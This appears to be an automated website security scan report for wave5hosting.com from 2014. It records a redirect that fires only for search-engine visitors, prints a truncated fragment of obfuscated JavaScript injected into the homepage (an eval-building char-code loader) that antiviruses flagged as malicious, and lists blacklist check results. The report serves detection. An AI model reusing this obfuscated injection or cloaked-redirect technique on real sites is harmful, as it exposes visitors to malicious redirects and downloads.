Malicious/Suspicious Redirects
Request | Server response | Status |
URL: http://wave5hosting.com/ (imitation of visitor from search engine) GET / HTTP/1.1 Host: wave5hosting.com Referer: http://www.google.com/search?q=redirect+check1 | HTTP/1.1 302 Moved Temporarily Connection: close Date: Tue, 02 Sep 2014 09:48:20 GMT Location: http://onotiw.dnset.com/ Server: Apache mod_fcgid/2.3.7 mod_auth_pgsql/2.0.3 Vary: User-Agent Content-Encoding: none Content-Length: 2802 Content-Type: text/html Set-Cookie: __utmfr=86; expires=Tue, 09-Sep-2014 09:48:21 GMT; path=/ X-Powered-By: PHP/5.3.28 | malicious |
Scanned pages/files
Request | Server response | Status |
http://wave5hosting.com/ | 200 OK Content-Length: 2802 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) try{document.body--}catch(gdsgd){ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(102,116,108,96,116,104,109,107,32,102,112,94,40,96,42,95,41,122,112,98,116,116,112,107,32,76,95,113,104,45,100,105,111,110,112,37,77,96,114,101,46,113,95,107,100,110,107,37,41,41,38,95,45,96,41,46,41,40,41,94,59,124,11,7,102,116,108,96,116,104,109,107,32,113,113,37,41,122 Antivirus reports:
| ||
http://wave5hosting.com/test404page.js | 404 Not Found Content-Length: 1066 Content-Type: text/html | clean |
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=wave5hosting.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://wave5hosting.com/
Result: wave5hosting.com is not infected or malware details are not published yet.
Result: wave5hosting.com is not infected or malware details are not published yet.